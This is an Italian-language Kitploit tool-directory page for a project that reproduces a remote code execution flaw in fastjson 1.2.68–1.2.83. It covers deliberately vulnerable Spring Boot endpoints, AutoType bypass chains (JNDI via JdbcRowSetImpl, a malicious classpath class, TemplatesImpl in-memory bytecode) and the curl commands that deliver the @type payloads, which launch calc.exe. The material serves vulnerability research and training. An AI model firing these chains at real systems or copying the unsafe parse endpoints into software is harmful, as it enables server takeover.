Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
fastjson-cve — Progetto di riproduzione per CVE-2026-16723, una RCE critica in fastjson 1.2.68-1.2.83. Dimostra il bypass di AutoType, l'iniezione JNDI e i payload in memoria TemplatesImpl con endpoint Spring Boot vulnerabili. | Kitploit
Strumenti/GitHubGitHub/ipisav/fastjson-cve
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e Formazione
GitHubipisav/fastjson-cve

fastjson-cve

Progetto di riproduzione per CVE-2026-16723, una RCE critica in fastjson 1.2.68-1.2.83. Dimostra il bypass di AutoType, l'iniezione JNDI e i payload in memoria TemplatesImpl con endpoint Spring Boot vulnerabili.

Vedi Repository
281 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Progetto di Riproduzione CVE-2026-16723

Panoramica

Questo progetto riproduce CVE-2026-16723 — una vulnerabilità critica di Remote Code Execution (RCE) in fastjson 1.2.68 fino a 1.2.83. La vulnerabilità consente RCE con configurazione predefinita senza richiedere l'abilitazione di AutoType o gadget preesistenti nel classpath.

ProprietàValore
ID CVECVE-2026-16723
Componentefastjson
Versioni Affette1.2.68 – 1.2.83
Versioni Corrette1.2.84+, 2.0.0+
Tipo di VulnerabilitàDeserializzazione / RCE
GravitàCVSS 3.1: 9.0 (CRITICA)
Vettore di AttaccoRete
ComplessitàBassa
Privilegi RichiestiNessuno
Interazione UtenteNessuna

Struttura del Progetto

fastjson-cve-2026-16723/
├── pom.xml                              # Progetto principale (app Spring Boot con fastjson vulnerabile)
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # Punto di ingresso Spring Boot
│   └── controller/
│       └── VulnerableController.java    # Endpoint REST vulnerabili
├── malicious/                           # Modulo separato: JAR malevolo per simulazione supply chain
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # Classe malevola con inizializzatore statico
│       ├── EvilTranslet.java            # Translet malevolo per modalità in-memory TemplatesImpl
│       └── GenTemplatesPayload.java     # Genera il payload JSON TemplatesImpl
├── templates-payload.json               # Payload TemplatesImpl generato (variante diretta)
├── templates-payload-preload.json       # Payload TemplatesImpl generato (variante preload di classe)
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

Dettagli della Vulnerabilità

Causa Principale

fastjson 1.2.68–1.2.83 contiene un bypass nel meccanismo di protezione AutoType. Anche con configurazione predefinita (autoTypeSupport=false), gli attaccanti possono istanziare classi arbitrarie tramite payload JSON appositamente costruiti utilizzando catene di exploit come:

  1. java.lang.Class + com.sun.rowset.JdbcRowSetImpl (iniezione JNDI)
  2. java.lang.Runtime (esecuzione diretta di comandi)
  3. Attacco supply chain tramite JAR malevolo nel classpath (@type: exploit.MaliciousClass)

Codice Vulnerabile

VulnerableController.java — due endpoint dimostrano il problema:

@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // Vulnerabile: JSON.parseObject con configurazione predefinita
    // Non è richiesto ParserConfig.getGlobalInstance().setAutoTypeSupport(true)!
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // Forza la deserializzazione in Object — attiva l'istanziazione effettiva della classe
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

Compilazione del Progetto

Prerequisiti

  • Java 8+
  • Maven 3.6+

Comandi di Compilazione

# Compila l'applicazione principale
mvn clean package -DskipTests

# Compila il JAR malevolo (modulo separato)
cd malicious && mvn clean package && cd ..

Artefatti di Output

  • target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR fat Spring Boot
  • malicious/target/malicious-jar-1.0.jar — JAR malevolo con exploit.MaliciousClass

Esecuzione dell'Applicazione

java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Il server si avvia su http://localhost:8080

Requisito di runtime: questo progetto è destinato a Java 8 e la modalità in-memory TemplatesImpl è verificata su JDK 8. Su JDK 9+ il sistema di moduli blocca l'accesso riflessivo agli internals di java.xml, quindi la catena fallisce con Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl a meno che non si aggiungano i flag --add-opens:

java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
     -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Verifica che il Classpath Includa il JAR Malevolo

Il pom.xml principale dichiara il JAR malevolo come dipendenza, quindi è incluso nel JAR fat:

<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

Verifica a runtime:

curl http://localhost:8080/api/debug

Test della Vulnerabilità

Health Check

curl http://localhost:8080/api/test

Previsto: CVE-2026-16723 Reproduction Endpoint Ready...


Attacco Supply Chain (Classe Malevola nel Classpath)

Il modulo malicious fornisce exploit.MaliciousClass con un inizializzatore statico che esegue calc.exe al caricamento della classe.

curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

Risultato:

>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

E calc.exe viene avviato sul server.

Nota: Questo dimostra uno scenario di supply chain in cui una dipendenza malevola è presente nel classpath. La vulnerabilità consente l'istanziazione di qualsiasi classe nel classpath, non solo classi JDK.


Modalità Bytecode In-Memory (TemplatesImpl, nessun server esterno richiesto)

A differenza della modalità supply chain (che richiede la classe malevola nel classpath) e della modalità JNDI (che richiede un server LDAP/RMI), questa modalità incorpora il bytecode malevolo direttamente nel payload e lo carica dalla memoria tramite com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — non è necessario distribuire nulla di extra.

Passo 1 — genera il payload:

cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

Questo compila exploit.EvilTranslet (una sottoclasse di AbstractTranslet il cui inizializzatore statico esegue calc.exe), codifica in base64 i byte della sua .class, e scrive:

  • templates-payload.json — variante diretta ("@type": "TemplatesImpl")
  • templates-payload-preload.json — variante preload java.lang.Class

Passo 2 — invia il payload:

curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json

Risultato:

>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<

E calc.exe viene avviato sul server.

Scarica lo strumento